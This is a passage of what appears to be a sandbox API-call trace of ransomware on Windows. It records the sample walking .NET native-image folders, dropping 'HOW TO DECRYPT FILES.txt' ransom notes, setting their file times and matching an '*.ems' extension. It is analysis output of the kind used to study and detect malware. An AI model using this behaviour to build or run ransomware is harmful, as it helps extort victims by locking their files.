nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.440] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.440] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.440] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.440] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304fc044, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304fc044, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x94117c4b, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xeca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehRecObj.ni.dll", cAlternateFileName="")) returned 1 [0107.440] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.440] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehRecObj.ni.dll") returned -1 [0107.440] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehRecObj.ni.dll") returned 1 [0107.440] lstrcmpiA (lpString1="", lpString2="ehRecObj.ni.dll") returned -1 [0107.440] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\*.*") returned="*.*" [0107.440] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\" [0107.440] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\") returned="" [0107.440] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\HOW TO DECRYPT FILES.txt" [0107.440] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehrecobj\\dd75e74b3a7686f661129df07fdeadf1\\how to decrypt files.txt")) returned 0xffffffff [0107.440] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehrecobj\\dd75e74b3a7686f661129df07fdeadf1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.443] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.443] CloseHandle (hObject=0x90) returned 1 [0107.443] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\", lpString2="ehRecObj.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\ehRecObj.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\ehRecObj.ni.dll" [0107.443] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehRecObj\\dd75e74b3a7686f661129df07fdeadf1\\ehRecObj.ni.dll", pszSpec="*.ems") returned 0 [0107.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304fc044, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x304fc044, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x94117c4b, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0xeca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehRecObj.ni.dll", cAlternateFileName="")) returned 0 [0107.444] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.444] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f4757c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f4757c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f4757c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dd75e74b3a7686f661129df07fdeadf1", cAlternateFileName="DD75E7~1")) returned 0 [0107.444] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.444] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x650052, cFileName="ehshell", cAlternateFileName="")) returned 1 [0107.444] lstrcmpA (lpString1=".", lpString2="ehshell") returned -1 [0107.444] lstrcmpA (lpString1="..", lpString2="ehshell") returned -1 [0107.444] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.444] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehshell" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell" [0107.444] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.447] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.447] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.447] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.447] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d1dc67c666bc15291be843bd67cd2a2e", cAlternateFileName="D1DC67~1")) returned 1 [0107.448] lstrcmpA (lpString1=".", lpString2="d1dc67c666bc15291be843bd67cd2a2e") returned -1 [0107.448] lstrcmpA (lpString1="..", lpString2="d1dc67c666bc15291be843bd67cd2a2e") returned -1 [0107.448] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\*.*") returned="*.*" [0107.448] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\", lpString2="d1dc67c666bc15291be843bd67cd2a2e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e" [0107.448] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.450] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.451] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.451] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.451] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305482fa, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x305482fa, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xaee4de42, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x184a800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehshell.ni.dll", cAlternateFileName="")) returned 1 [0107.451] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.451] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehshell.ni.dll") returned -1 [0107.451] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehshell.ni.dll") returned 1 [0107.451] lstrcmpiA (lpString1="", lpString2="ehshell.ni.dll") returned -1 [0107.451] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\*.*") returned="*.*" [0107.451] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\" [0107.451] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\") returned="" [0107.451] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\HOW TO DECRYPT FILES.txt" [0107.451] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\how to decrypt files.txt")) returned 0xffffffff [0107.451] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.454] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.454] CloseHandle (hObject=0x90) returned 1 [0107.455] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\", lpString2="ehshell.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\ehshell.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\ehshell.ni.dll" [0107.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehshell\\d1dc67c666bc15291be843bd67cd2a2e\\ehshell.ni.dll", pszSpec="*.ems") returned 0 [0107.455] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x305482fa, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x305482fa, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xaee4de42, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x184a800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehshell.ni.dll", cAlternateFileName="")) returned 0 [0107.455] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.455] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x616ad400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x616ad400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x616ad400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d1dc67c666bc15291be843bd67cd2a2e", cAlternateFileName="D1DC67~1")) returned 0 [0107.455] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.455] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x680073, cFileName="EventViewer", cAlternateFileName="EVENTV~1")) returned 1 [0107.455] lstrcmpA (lpString1=".", lpString2="EventViewer") returned -1 [0107.455] lstrcmpA (lpString1="..", lpString2="EventViewer") returned -1 [0107.456] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.456] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="EventViewer" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer" [0107.456] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.456] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.456] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.457] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.457] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.457] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="21464de9aa1dce17c1f42044129a986e", cAlternateFileName="21464D~1")) returned 1 [0107.457] lstrcmpA (lpString1=".", lpString2="21464de9aa1dce17c1f42044129a986e") returned -1 [0107.457] lstrcmpA (lpString1="..", lpString2="21464de9aa1dce17c1f42044129a986e") returned -1 [0107.457] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\*.*") returned="*.*" [0107.457] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\", lpString2="21464de9aa1dce17c1f42044129a986e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e" [0107.457] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.457] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8519236, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8519236, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8519236, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.458] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.458] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.458] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a6e15, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd84a6e15, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd84a6e15, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EventViewer.ni.dll", cAlternateFileName="EVENTV~1.DLL")) returned 1 [0107.458] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.458] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EventViewer.ni.dll") returned -1 [0107.458] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EventViewer.ni.dll") returned 1 [0107.458] lstrcmpiA (lpString1="", lpString2="EventViewer.ni.dll") returned -1 [0107.458] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\*.*") returned="*.*" [0107.458] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\" [0107.458] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\") returned="" [0107.458] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\HOW TO DECRYPT FILES.txt" [0107.458] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\eventviewer\\21464de9aa1dce17c1f42044129a986e\\how to decrypt files.txt")) returned 0xffffffff [0107.458] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\eventviewer\\21464de9aa1dce17c1f42044129a986e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.461] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.461] CloseHandle (hObject=0x90) returned 1 [0107.461] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\", lpString2="EventViewer.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\EventViewer.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\EventViewer.ni.dll" [0107.461] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\EventViewer\\21464de9aa1dce17c1f42044129a986e\\EventViewer.ni.dll", pszSpec="*.ems") returned 0 [0107.462] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd84a6e15, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd84a6e15, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd84a6e15, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EventViewer.ni.dll", cAlternateFileName="EVENTV~1.DLL")) returned 0 [0107.462] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.462] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: 